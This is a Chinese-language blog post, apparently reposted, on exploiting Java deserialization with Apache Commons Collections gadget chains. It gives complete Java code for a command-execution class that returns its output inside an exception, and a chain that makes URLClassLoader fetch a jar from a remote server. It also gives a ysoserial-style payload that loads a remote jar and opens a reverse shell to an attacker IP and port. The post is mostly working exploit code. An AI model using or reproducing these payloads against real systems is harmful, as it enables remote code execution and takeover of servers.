反序列化報錯回顯、反彈shell


• 使用java.net.URLClassLoader類,遠程加載自定義類(放在自己服務器上的jar包),可以自定義方法執行。
• 在自定義類中,拋出異常,使其成功隨着Jboss報錯返回命令執行結果。

首先得通過代碼執行將ErrorBaseExec寫到服務器上。

package me.lightless.shiro;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

    public static void do_exec(String args) throws Exception
    {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null)
        {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e=new Exception(result);
        throw e;
    }
}

第二步本地將ErrorBaseExec打jar包,並把jar包放到服務器上

javac ErrorBaseExec.java //先編譯成class文件
jar -cvf ErrorBaseExec.jar ErrorBaseExec.class //打成jar包

運行如下代碼:

package me.lightless.shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IllegalAccessException, IOException, NoSuchFieldException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[0];
        try {
            transformers = new Transformer[] {
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer(
                            "getConstructor",
                            new Class[] {Class[].class},
                            new Object[] {new Class[]{java.net.URL[].class}}
                    ),
                    new InvokerTransformer(
                            "newInstance",
                            new Class[] {Object[].class},
                            new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("http://127.0.0.1/ErrorBaseExec.jar") }}}
                    ),
                    new InvokerTransformer(
                            "loadClass",
                            new Class[] { String.class },
                            new Object[] { "me.lightless.shiro.ErrorBaseExec" }
                    ),
                    new InvokerTransformer(
                            "getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"do_exec", new Class[]{String.class}}
                    ),
                    new InvokerTransformer(
                            "invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new String[]{"whoami"}}
                    )
            };
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
   /*
        URLClassLoader.class.getConstructor(java.net.URL[].class).
                newInstance(new java.net.URL("url")).loadClass("remote_class").
                getMethod("do_exec", String.class).invoke(null, "cmd");
         */
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //decorate實例化LazyMap類。
        // LazyMap類的get方法調用了transform,transform可以通過反射機制執行命令
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  //TiedMapEntry中調用了toString方法->調用了map的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的構造方法調用toString方法

//         val是私有變量,所以利用下面方法進行賦值,val變量賦值為TiedMapEntry的實例化對象,
//         重寫了BadAttributeValueExpException的readObject方法的val變量賦值為BadAttributeValueExpException類,
//         就會調用BadAttributeValueExpException的val = valObj.toString();觸發上面的
        Field valfield = poc.getClass().getDeclaredField("val");
//        System.out.println(valfield);
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        //從文件中反序列化obj對象
        FileInputStream fis = new FileInputStream("poc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        ois.readObject();
        ois.close();
    }
}

通過異常,出現回顯,在利用的時候,找一個pop gaget writeObject,傳到服務器進行反序列化。
Alt text
明顯上面利用方式比較復雜,還需要將jar或者class文件上傳到服務器,這時候我們可以利用defineClass加載byte[]返回Class對象,不用上傳文件到服務器。
具體可以參考這篇文章:https://www.freebuf.com/articles/others-articles/167932.html
通過加載遠程jar包反彈shell payload:

package ysoserial.payloads;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollectionsjar{
    public InvocationHandler getObject(final String ip) throws Exception {
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[] { new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(java.net.URLClassLoader.class),
            // getConstructor class.class classname
            new InvokerTransformer("getConstructor",
                new Class[] { Class[].class },
                new Object[] { new Class[] { java.net.URL[].class } }),
            // newinstance string http://www.iswin.org/attach/iswin.jar
            new InvokerTransformer(
                "newInstance",
                new Class[] { Object[].class },
                new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
                    "http://192.168.61.136/iswin.jar") } } }),
            // loadClass String.class R
            new InvokerTransformer("loadClass",
                new Class[] { String.class }, new Object[] { "R" }),
            // set the target reverse ip and port
            new InvokerTransformer("getConstructor",
                new Class[] { Class[].class },
                new Object[] { new Class[] { String.class } }),
            // invoke
            new InvokerTransformer("newInstance",
                new Class[] { Object[].class },
                new Object[] { new String[] { ip } }),
            new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
        InvocationHandler invo = (InvocationHandler) getFirstCtor(
            "sun.reflect.annotation.AnnotationInvocationHandler")
            .newInstance(Retention.class, lazyMap);
        //generate object which implements specifiy interface
        final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
            .getClass().getClassLoader(), new Class[] { Map.class }, invo));

        final InvocationHandler handler = (InvocationHandler) getFirstCtor(
            "sun.reflect.annotation.AnnotationInvocationHandler")
            .newInstance(Retention.class, mapProxy);
        setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
    }
    public static Constructor<?> getFirstCtor(final String name)
        throws Exception {
        final Constructor<?> ctor = Class.forName(name)
            .getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }
    public static Field getField(final Class<?> clazz, final String fieldName)
        throws Exception {
        Field field = clazz.getDeclaredField(fieldName);
        if (field == null && clazz.getSuperclass() != null) {
            field = getField(clazz.getSuperclass(), fieldName);
        }
        field.setAccessible(true);
        return field;
    }
    public static void setFieldValue(final Object obj, final String fieldName,
                                     final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void main(final String[] args) throws Exception {
        final Object objBefore = CommonsCollectionsjar.class.newInstance()
            .getObject("192.168.61.136:1234");
        //deserialize(serialize(objBefore));

        File f = new File("E:\\Struts2-Vulenv-master\\ysoserial\\src\\main\\java\\ysoserial\\payloads\\payloadsfinal.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(objBefore);
        out.flush();
        out.close();

        FileInputStream fis = new FileInputStream("E:\\Struts2-Vulenv-master\\ysoserial\\src\\main\\java\\ysoserial\\payloads\\payloadsfinal.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢復對象
        ois.readObject();
        ois.close();
    }
}

參考鏈接:
http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM